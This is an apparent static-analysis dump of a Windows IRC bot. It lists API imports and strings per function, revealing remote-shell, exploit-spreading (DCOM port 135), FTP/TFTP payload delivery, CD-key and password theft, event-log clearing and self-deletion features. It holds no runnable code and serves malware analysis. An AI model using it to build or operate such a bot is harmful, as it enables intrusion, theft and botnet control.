sub_outside():
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress
	USER32.wsprintfA
	KERNEL32.lstrlenA
	KERNEL32.lstrcpyA
	KERNEL32.lstrcmpA
	KERNEL32.lstrcpynA
	KERNEL32.Sleep
	KERNEL32.GetTickCount
	KERNEL32.GetComputerNameA
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.sendto
	WS2_32.WSAGetLastError
	WS2_32.recvfrom
	WS2_32.closesocket
	WS2_32.inet_addr
	WS2_32.connect
	KERNEL32.CreateProcessA
	WS2_32.recv
	WS2_32.send
	KERNEL32.CopyFileA
	KERNEL32.SetFileAttributesA
	KERNEL32.CreateFileA
	KERNEL32.GetFileTime
	KERNEL32.CloseHandle
	KERNEL32.ExitThread
	KERNEL32.SetFileTime
	KERNEL32.GetStdHandle
	KERNEL32.FatalAppExitA
	KERNEL32.ExitProcess
	NTDLL.RtlAllocateHeap
	NTDLL.RtlReAllocateHeap
	NTDLL.RtlFreeHeap
	KERNEL32.HeapValidate
	NTDLL.RtlGetLastWin32Error
	KERNEL32.VirtualFree
	KERNEL32.HeapDestroy
	KERNEL32.TlsFree
	KERNEL32.TlsGetValue
	KERNEL32.TlsSetValue
	KERNEL32.GetCurrentThreadId
	KERNEL32.GetCurrentThread
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.SetConsoleCtrlHandler
	KERNEL32.GetFileType
	KERNEL32.GetCPInfo

sub_426470(02ba):
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error

sub_41AF00(03ba):
	KERNEL32.DebugBreak

sub_411B50(03c8):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.FormatMessageA

	"%s	Error: %s <%d>."

sub_41E750(040b):
	NTDLL.RtlAllocateHeap
	KERNEL32.VirtualAlloc
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_40D826(044b):
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread

	"GET "
	" "
	" "
	"GET "
	"\r\n"

sub_501DB8(04b7):
	KERNEL32.FreeLibrary

sub_41A890(05b0):
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement

sub_42A640(05b0):
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement

sub_421FA0(07be):
	KERNEL32.GetCPInfo

sub_41A910(07ff):
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error

sub_42DD80(0822):
	KERNEL32.GetVersionExA

sub_4201D0(08ae):
	"filename != NULL"
	"_open.c"
	"mode != NULL"
	"_open.c"
	"_open.c"

sub_41C230(0a7a):
	NTDLL.RtlAllocateHeap

sub_41AE90(0ad9):
	NTDLL.RtlLeaveCriticalSection

sub_41AE20(0ad9):
	NTDLL.RtlEnterCriticalSection

sub_4142EA(0c1c):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
	KERNEL32.GetLogicalDrives
	KERNEL32.GetDriveTypeA

	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"%c$"
	"%c:\\"

sub_4175E0(0d6b):
	"file != NULL"
	"fopen.c"
	"*file != _T('\\0')"
	"fopen.c"
	"mode != NULL"
	"fopen.c"
	"*mode != _T('\\0')"
	"fopen.c"

sub_40AE78(0d6f):
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle

sub_4019A5(0f5b):
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep

sub_40DDDE(1211):
	KERNEL32.GetFileAttributesA
	WS2_32.closesocket
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.CloseHandle
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep

	"\\%s"
	"%s"
	"%s%s"
	"\n"
	"*"

sub_427900(1250):
	KERNEL32.UnhandledExceptionFilter

sub_412527(136f):
	ADVAPI32.OpenSCManagerA
	ADVAPI32.EnumServicesStatusA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.CloseServiceHandle

	"The following	Windows	services are regi"...
	"    Unknown"
	"	Paused"
	"    Pausing"
	" Continuing"
	"    Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"

sub_411278(1416):
	"%sKB"
	"%sKB"
	"%sKB"
	"failed"
	"failed"
	"failed"

sub_429A50(15f7):
	NTDLL.RtlLeaveCriticalSection

sub_41BBE0(16bb):
	NTDLL.RtlDeleteCriticalSection

sub_413B11(1889):
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle

sub_432390(1898):
	KERNEL32.GetLocaleInfoW
	KERNEL32.GetLocaleInfoA
	KERNEL32.MultiByteToWideChar

sub_4151D0(18d7):
	"_CrtCheckMemory()"
	"dbgheap.c"
	"Client hook allocation failure at file "...
	"Client hook allocation failure.\n"
	"%s"
	"Invalid allocation size: %u bytes.\n"
	"Error: memory	allocation: bad	memory bl"...
	"%s"

sub_41003A(1c79):
	USER32.IsWindow
	USER32.SendMessageA
	USER32.DestroyWindow

	"Window"

sub_4146F0(1ce7):
	KERNEL32.Sleep

sub_416390(1dec):
	"memory check error at	0x%08X = 0x%02X, "...

sub_4328E0(1e26):
	KERNEL32.CompareStringW
	KERNEL32.CompareStringA
	KERNEL32.GetCPInfo
	KERNEL32.MultiByteToWideChar

	"cchCount1==0 && cchCount2==1 || cchCoun"...

sub_420720(1ed9):
	"_flsbuf.c"
	"(\"inconsistent IOB fields\",	stream->_pt"...
	"_flsbuf.c"

sub_40979E(1fc3):
	KERNEL32.TerminateThread
	WS2_32.closesocket

sub_401404(2170):
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	KERNEL32.CreateMutexA
	KERNEL32.WaitForSingleObject
	KERNEL32.ExitProcess
	WS2_32.WSAStartup
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.CopyFileA
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	WS2_32.WSACleanup
	KERNEL32.DeleteFileA
	KERNEL32.CreateThread

	"Jav0"
	"#j00#"
	"#j00#"

sub_413C57(21b8):
	KERNEL32.PeekNamedPipe
	KERNEL32.GetExitCodeProcess
	KERNEL32.Sleep
	KERNEL32.ReadFile
	KERNEL32.ExitThread

sub_40A84F(21ca):
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	KERNEL32.ExitThread

sub_410279(222d):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey

sub_40A547(22a3):
	"%d.%d.%d.%d"

sub_414A60(23b5):
	WININET.InternetGetConnectedStateExA

sub_422830(2402):
	"flag == 0	|| flag	== 1"
	"_sftbuf.c"

sub_41178F(24da):
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

sub_41BBA0(2601):
	KERNEL32.InitializeCriticalSection

sub_426F40(270a):
	"setlocal.c"

sub_416E60(28a1):
	"Dumping objects ->\n"
	"%s"
	"#File Error#(%d) : "
	"%hs(%d) : "
	"{%ld} "
	"client block at 0x%08X, subtype %x, %u "...
	"normal block at 0x%08X, %u bytes long.\n"...
	"crt block at 0x%08X, subtype %x, %u byt"...

sub_409FA4(28ed):
	WS2_32.inet_ntoa

sub_413A33(2a9a):
	KERNEL32.ExitThread

sub_4299C0(2ae8):
	KERNEL32.InitializeCriticalSection
	NTDLL.RtlEnterCriticalSection

sub_41313B(2b0f):
	KERNEL32.GetComputerNameA

sub_40CBDB(2cd6):
	WS2_32.recv
	KERNEL32.WriteFile

sub_415640(2daa):
	"_CrtCheckMemory()"
	"dbgheap.c"
	"Client hook re-allocation failure at fi"...
	"Client hook re-allocation failure.\n"
	"%s"
	"Allocation too large or negative: %u by"...
	"Error: memory	allocation: bad	memory bl"...
	"%s"
	"_CrtIsValidHeapPointer(pUserData)"
	"dbgheap.c"
	"pOldBlock->nLine == IGNORE_LINE && pOld"...
	"dbgheap.c"
	"_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
	"dbgheap.c"
	"fRealloc || (!fRealloc && pNewBlock == "...
	"dbgheap.c"
	"_pLastBlock == pOldBlock"
	"dbgheap.c"
	"_pFirstBlock == pOldBlock"
	"dbgheap.c"

sub_40E91A(2f11):
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	WS2_32.recv
	WS2_32.send
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	KERNEL32.ExitThread

	"	: USERID : UNIX	: %s\r\n"

sub_41E930(2fac):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_409DF2(30be):
	WS2_32.inet_addr
	KERNEL32.ExitThread

sub_412159(31a0):
	KERNEL32.GetVersionExA
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress
	KERNEL32.FindFirstFileA
	KERNEL32.FreeLibrary

	"netapi32.dll"
	"NetMessageBufferSend"

sub_4185F0(331e):
	"fprintf.c"
	"format !=	NULL"
	"fprintf.c"

sub_41E0F0(36ab):
	KERNEL32.IsBadWritePtr

sub_40879E(372b):
	IPHLPAPI.GetIpNetTable
	IPHLPAPI.DeleteIpNetEntry

sub_4270E0(3752):
	"setlocal.c"
	"="
	";"

sub_425C60(3868):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress

	"KERNEL32"
	"IsProcessorFeaturePresent"

sub_421E40(3873):
	KERNEL32.GetOEMCP
	KERNEL32.GetACP

sub_42A590(3af7):
	KERNEL32.IsBadReadPtr

sub_42A5C0(3af7):
	KERNEL32.IsBadWritePtr

sub_40A4FF(3b1d):
	WS2_32.ntohl

sub_40EE3D(3ca7):
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TerminateThread
	KERNEL32.WaitForMultipleObjects
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle

sub_411DDE(3cc3):
	KERNEL32.GetTempPathA
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	KERNEL32.ExpandEnvironmentStringsA
	KERNEL32.CreateProcessA

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
	"%%comspec%% /c %s	%s"

sub_4236C0(3ed0):
	"format !=	NULL"

sub_411F66(3f0f):
	KERNEL32.GetVersionExA
	ADVAPI32.OpenEventLogA
	ADVAPI32.ClearEventLogA
	NTDLL.RtlGetLastWin32Error

sub_411C9A(3f4b):
	KERNEL32.SearchPathA
	KERNEL32.CreateFileA
	KERNEL32.GetFileTime
	KERNEL32.CloseHandle
	KERNEL32.SetFileTime

	"explorer.exe"

sub_42ACA0(3fad):
	"ungetc.c"

sub_42DC00(3fbf):
	"ACP"
	"OCP"

sub_40D70F(4036):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.ntohs
	WS2_32.connect
	WS2_32.closesocket
	WS2_32.WSACleanup

sub_4226D0(4039):
	"_sftbuf.c"
	"_sftbuf.c"

sub_41B3A0(41a7):
	KERNEL32.GetModuleFileNameA

	"szUserMessage	!= NULL"
	"dbgrpt.c"
	""
	"..."
	"..."
	"\n\nFor information on how your program c"...
	"Expression: "
	"\n\n"
	"\nLine:	"
	"\nFile:	"
	"\nModule: "
	"Debug	%s!\n\nProgram:	%s%s%s%s%s%s%s%s%s%"...
	"_CrtDbgReport: String	too long or IO Er"...
	"Microsoft Visual C++ Debug Library"

sub_42C6F0(4234):
	"initnum.c"
	"."
	"initnum.c"
	"initnum.c"

sub_40F02F(4448):
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle

sub_40C16C(462b):
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.inet_addr
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket
	KERNEL32.Sleep

	"�"
	"127.0.0.1\\IPC$\\"
	"[TFTP]: File transfer	complete to IP:	%"...
	"Dcom2-135"
	"[%s]:	Exploiting IP: %s."

sub_4092B9(468e):
	KERNEL32.GetTickCount
	USER32.FindWindowA

	"mIRC"
	"[M]"
	"[%d]%s"
	"mIRC"
	"[M]"

sub_42A6C0(4816):
	KERNEL32.MultiByteToWideChar

	"MB_CUR_MAX ==	1 || MB_CUR_MAX	== 2"

sub_417280(494e):
	"Detected memory leaks!\n"
	"%s"

sub_4147AC(4977):
	KERNEL32.GetVersionExA
	ADVAPI32.GetUserNameA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.GlobalMemoryStatus

	"95"
	"NT"
	"98"
	"ME"
	"2K"
	"XP"
	"2003"
	"???"
	"%s (%s)"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"

sub_409D2C(4c22):
	"Dcom2-135"
	" Scan Time: %s."

sub_42BD70(5012):
	"inittime.c"

sub_421AF0(5077):
	KERNEL32.GetCPInfo

sub_416900(512b):
	KERNEL32.HeapValidate

sub_432530(53c9):
	KERNEL32.GetLocaleInfoW
	KERNEL32.GetLocaleInfoA
	KERNEL32.WideCharToMultiByte

sub_41CA80(541f):
	NTDLL.RtlAllocateHeap

sub_429E30(567a):
	KERNEL32.CreateFileA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.GetFileType
	KERNEL32.CloseHandle

sub_416420(57e1):
	"_heapchk fails with _HEAPBADBEGIN.\n"
	"%s"
	"_heapchk fails with _HEAPBADNODE.\n"
	"%s"
	"_heapchk fails with _HEAPBADEND.\n"
	"%s"
	"_heapchk fails with _HEAPBADPTR.\n"
	"%s"
	"_heapchk fails with unknown return valu"...
	"%s"
	"DAMAGE: before %hs block (#%d) at 0x%08"...
	"DAMAGE: after	%hs block (#%d)	at 0x%08X"...
	"DAMAGE: on top of Free block at 0x%08X."...
	"%hs allocated	at file	%hs(%d).\n"
	"%hs located at 0x%08X	is %u bytes long."...

sub_4114F1(594b):
	KERNEL32.ExitThread

sub_411230(5b85):
	KERNEL32.GetDiskFreeSpaceExA

sub_42D540(5ca0):
	KERNEL32.EnumSystemLocalesA

sub_41D7E0(5f2d):
	KERNEL32.VirtualAlloc

sub_418580(6240):
	KERNEL32.DeleteFileA
	NTDLL.RtlGetLastWin32Error

sub_4123A9(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_411609(6505):
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FindClose

sub_41FB00(6774):
	"_filbuf.c"

sub_40F29F(6d7f):
	KERNEL32.GenerateConsoleCtrlEvent
	WS2_32.send
	KERNEL32.WriteFile
	WS2_32.recv

sub_40F128(6ddc):
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

	"cmd /q"

sub_422500(6ed7):
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement

sub_410673(6f0c):
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.bind
	WS2_32.getsockname
	WS2_32.listen
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	WS2_32.inet_addr
	WS2_32.ntohl
	WS2_32.select
	WS2_32.accept
	WS2_32.closesocket
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	WS2_32.send
	WS2_32.recv
	KERNEL32.CloseHandle
	WS2_32.inet_ntoa
	KERNEL32.ExitThread

sub_42F370(7086):
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"

sub_421920(7112):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TlsGetValue
	KERNEL32.TlsSetValue
	KERNEL32.GetCurrentThreadId
	NTDLL.RtlSetLastWin32Error

	"tidtable.c"

sub_432D30(734a):
	KERNEL32.SetEnvironmentVariableA

sub_427530(7430):
	"_"
	"."

sub_41B7E0(744e):
	"_freebuf.c"

sub_40A01B(7709):
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep

sub_428240(77d3):
	KERNEL32.GetEnvironmentStringsW
	KERNEL32.GetEnvironmentStringsA
	KERNEL32.WideCharToMultiByte
	KERNEL32.FreeEnvironmentStringsW
	KERNEL32.FreeEnvironmentStringsA

sub_413B68(7918):
	KERNEL32.CloseHandle

sub_4275A0(7c74):
	KERNEL32.LCMapStringW
	KERNEL32.LCMapStringA
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte

sub_4307E0(7d08):
	"am/pm"
	"a/p"

sub_4273D0(7d34):
	"_.,"

sub_409047(7e76):
	KERNEL32.GetTickCount

sub_41D6D0(7fc5):
	NTDLL.RtlReAllocateHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.VirtualAlloc
	NTDLL.RtlFreeHeap

sub_41F690(816e):
	KERNEL32.GetVersionExA
	KERNEL32.GetEnvironmentVariableA
	KERNEL32.GetModuleFileNameA

	"__MSVCRT_HEAP_SELECT"
	"__GLOBAL_HEAP_SELECTED"

start(8472):
	KERNEL32.VirtualAlloc
	USER32.MessageBoxA
	KERNEL32.GetModuleFileNameA
	USER32.wsprintfA
	KERNEL32.VirtualFree
	KERNEL32.VirtualProtect
	KERNEL32.GetModuleHandleA
	KERNEL32.LoadLibraryExA
	KERNEL32.GetProcAddress
	KERNEL32.ExitProcess

sub_41042C(8474):
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.connect
	WS2_32.closesocket

sub_411C15(84d5):
	USER32.FindWindowA
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	USER32.SendMessageA
	KERNEL32.UnmapViewOfFile
	KERNEL32.CloseHandle

	"mIRC"
	"mIRC"

sub_41B730(86d7):
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

sub_4098EB(8732):
	"%s %s	stopped. (%d thread(s) stopped.)"
	"%s No	%s thread found."

sub_40A5E3(8768):
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.ioctlsocket
	WS2_32.connect
	WS2_32.select
	WS2_32.closesocket

sub_41AED0(880a):
	NTDLL.RtlLeaveCriticalSection

sub_41AE60(880a):
	NTDLL.RtlEnterCriticalSection

sub_40D0F7(891f):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.ntohs
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 StnyFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 StnyFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"ftp transfer started to: %s"
	"226 Transfer complete.\n"
	"ftp transfer complete	to: %s"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"

sub_413F64(8931):
	KERNEL32.ExitThread

sub_412AC3(893c):
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"

sub_42D930(8a36):
	KERNEL32.EnumSystemLocalesA

sub_4190F0(8af0):
	NTDLL.RtlUnwind

sub_412E91(8c02):
	"Username accounts for	local system:"
	"  %S"
	"Total	users found: %d."

sub_42DDD0(8c7e):
	KERNEL32.GetLocaleInfoA

	"040a"
	"1252"

sub_401000(8c91):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey

	"Windows Service"

sub_42A5F0(8cb0):
	KERNEL32.IsBadCodePtr

sub_412726(8cdb):
	KERNEL32.WideCharToMultiByte

sub_40FAD7(8d42):
	KERNEL32.ExitThread

sub_428A90(8e13):
	NTDLL.RtlDeleteCriticalSection

sub_411BDA(8e50):
	USER32.OpenClipboard
	USER32.GetClipboardData
	KERNEL32.GlobalLock
	KERNEL32.GlobalUnlock
	USER32.CloseClipboard

sub_41CBB0(8e8a):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_429A80(8e9f):
	KERNEL32.FlushFileBuffers
	NTDLL.RtlGetLastWin32Error

sub_419670(8f05):
	"string !=	NULL"
	"sscanf.c"
	"format !=	NULL"
	"sscanf.c"

sub_431AB0(8ff4):
	KERNEL32.GetTimeZoneInformation
	KERNEL32.WideCharToMultiByte

	"TZ"
	"tzset.c"

sub_41BC80(92b5):
	KERNEL32.InitializeCriticalSection
	NTDLL.RtlEnterCriticalSection

	"mlock.c"

sub_41285C(935d):
	ADVAPI32.IsValidSecurityDescriptor

	"Share	name:	 Resource:		 "...
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"

sub_40B21F(94d6):
	"�B�B�B�B"
	"CCCC"

sub_40B5F4(981b):
	WS2_32.ntohl
	WS2_32.send

sub_501368(983f):
	KERNEL32.VirtualAlloc
	KERNEL32.VirtualFree

sub_417B70(994a):
	KERNEL32.GetCurrentProcess
	KERNEL32.TerminateProcess
	KERNEL32.ExitProcess

sub_501DEF(9ab2):
	KERNEL32.VirtualProtect

sub_410A18(9b58):
	KERNEL32.GetSystemDirectoryA
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	WS2_32.recv
	WS2_32.ntohl
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

	"a+b"

sub_413007(9bb4):
	"Invalid parameter."
	"Server name not found."
	"This network request is not supported."
	"Not enough memory."
	"The name is invalid."
	"Duplicate share name."
	"Invalid for redirected resource."
	"Device or directory does not exist."
	"Level	parameter is invalid."
	"A general failure occurred in	the netwo"...
	"The operation	is allowed only	on the pr"...
	"The user account already exists."
	"The group already exists."
	"The password is shorter than required	("...
	"An unknown error occurred."
	"The computer name is invalid."
	"Share	not found."
	"The user name	could not be found."
	"Network connection not found."

sub_41BD20(9bd1):
	NTDLL.RtlLeaveCriticalSection

sub_411DBC(9dbe):
	USER32.ExitWindowsEx

	"SeShutdownPrivilege"

sub_4268D0(9e7c):
	KERNEL32.WriteFile
	NTDLL.RtlGetLastWin32Error

sub_432830(a18e):
	KERNEL32.WideCharToMultiByte

sub_417160(a1d1):
	"%.2X	"
	" Data: <%s> %s\n"

sub_41E9B0(a23b):
	KERNEL32.VirtualFree

sub_4265A0(a29e):
	"ftell.c"

sub_40B718(a2f7):
	WS2_32.send

sub_50275E(a444):
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress

	"wks"

sub_40ACBA(a5b8):
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.connect
	WS2_32.inet_ntoa
	WS2_32.closesocket

sub_401C87(a68b):
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	WS2_32.getsockname
	WS2_32.inet_ntoa
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetSystemDirectoryA
	DNSAPI.DnsFlushResolverCache
	KERNEL32.GetTickCount
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.ExitProcess
	KERNEL32.DeleteFileA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr
	WS2_32.gethostbyname
	SHELL32.ShellExecuteA
	KERNEL32.TerminateThread
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	KERNEL32.MoveFileA
	KERNEL32.CreateProcessA
	KERNEL32.GetTempPathA

	" :"
	"  !"
	"PING"
	"PONG	%s\r\n"
	"JOIN	%s %s\r\n"
	"001"
	"005"
	"302"
	"@"
	"433"
	"NICK	%s\r\n"
	"KICK"
	"NOTICE %s :%s\r\n"
	"JOIN %s %s\r\n"
	"NICK"
	":%s%s"
	"PART"
	"QUIT"
	"353"
	"PART"
	"NOTICE %s	:%s\r\n"
	"PRIVMSG"
	"NOTICE"
	"332"
	"PRIVMSG"
	"NOTICE"
	"SEND"
	"%s"
	"%s"
	"NOTICE"
	"#"
	"CHAT"
	"%s"
	"login"
	"l"
	"332"
	" :"
	"$%d-"
	"$%d"
	"$me"
	"$user"
	"$chan"
	"$rndnick"
	"$server"
	"$chr("
	"$chr("
	")"
	"63"
	"  "
	"rndnick"
	"rn"
	"die"
	"d"
	"logout"
	"lo"
	"version"
	"ver"
	"dedication"
	"ded"
	"secure"
	"sec"
	"unsecure"
	"unsec"
	"bindshell"
	"bd"
	"Server"
	"rloginstop"
	"Server"
	"httpstop"
	"Server"
	"logstop"
	"Log list"
	"redirectstop"
	"TCP redirect"
	"tftpstop"
	"Server"
	"findfilestop"
	"ffstop"
	"procsstop"
	"psstop"
	"clonestop"
	"Clone"
	"securestop"
	"Secure"
	"scanstop"
	"Scan"
	"scanstats"
	"stats"
	"trstats"
	"connectbackstats"
	"cbstats"
	"exploitlist"
	"explist"
	"reconnect"
	"r"
	"disconnect"
	"dc"
	"quit"
	"q"
	"status"
	"s"
	"id"
	"i"
	"reboot"
	"threads"
	"t"
	"aliases"
	"al"
	"log"
	"lg"
	"clearlog"
	"clg"
	"netinfo"
	"ni"
	"sysinfo"
	"si"
	"remove"
	"rm"
	"procs"
	"ps"
	"getcdkeys"
	"key"
	"uptime"
	"up"
	"driveinfo"
	"drv"
	"testdlls"
	"dll"
	"opencmd"
	"ocmd"
	"cmdstop"
	"Remote shell"
	"exploit"
	"#xp"
	"getclip"
	"gc"
	"flusharp"
	"farp"
	"flushdns"
	"fdns"
	"currentip"
	"cip"
	"httpserver"
	"http"
	"tftpserver"
	"tftp"
	"crash"
	"crash"
	"scan"
	"scan"
	"phonehome"
	"NOTICE %s :PHONING HOME: hi ;).\r\n"
	"#xp"
	"Random"
	"Sequential"
	"full"
	"Jav0"
	"QUIT	:%s\r\n"
	"QUIT :later\r\n"
	"QUIT :disconnecting\r\n"
	"QUIT :reconnecting\r\n"
	"secure"
	"sec"
	"Unsecuring"
	"Moddd"
	"332"
	"pstore"
	"ps"
	"reconnect.in"
	"rin"
	"reconnect.in.ms"
	"rinms"
	"nick"
	"n"
	"join"
	"j"
	"part"
	"pt"
	"raw"
	"r"
	"killthread"
	"k"
	"c_quit"
	"c_q"
	"c_rndnick"
	"c_rn"
	"prefix"
	"pr"
	"open"
	"o"
	"server"
	"se"
	"dns"
	"dn"
	"killproc"
	"kp"
	"kill"
	"ki"
	"delete"
	"del"
	"get"
	"gt"
	"list"
	"li"
	"visit"
	"v"
	"mirccmd"
	"mirc"
	"cmd"
	"cm"
	"readfile"
	"rf"
	"ident"
	"on"
	"off"
	"net"
	"start"
	"%s"
	"stop"
	"%s"
	"pause"
	"%s"
	"continue"
	"%s"
	"delete"
	"%s"
	"share"
	"%s"
	"%s"
	"user"
	"%s"
	"%s"
	"%s"
	"send"
	"%s"
	"capture"
	"cap"
	"gethost"
	"gh"
	"%s %s %s :%s"
	"screen"
	"drivers"
	"frame"
	"video"
	"open"
	"NICK	%s"
	"%s\r\n"
	"QUIT :later\r\n"
	"all"
	"%s\r\n"
	"JOIN %s %s\r\n"
	"NICK	%s\r\n"
	"QUIT :reconnecting\r\n"
	"QUIT :reconnecting\r\n"
	"Moddd"
	"Executed pstore"
	"killlog"
	"kl"
	"addalias"
	"aa"
	"privmsg"
	"pm"
	"action"
	"a"
	"cycle"
	"cy"
	"mode"
	"m"
	"c_raw"
	"c_r"
	"c_mode"
	"c_m"
	"c_nick"
	"c_n"
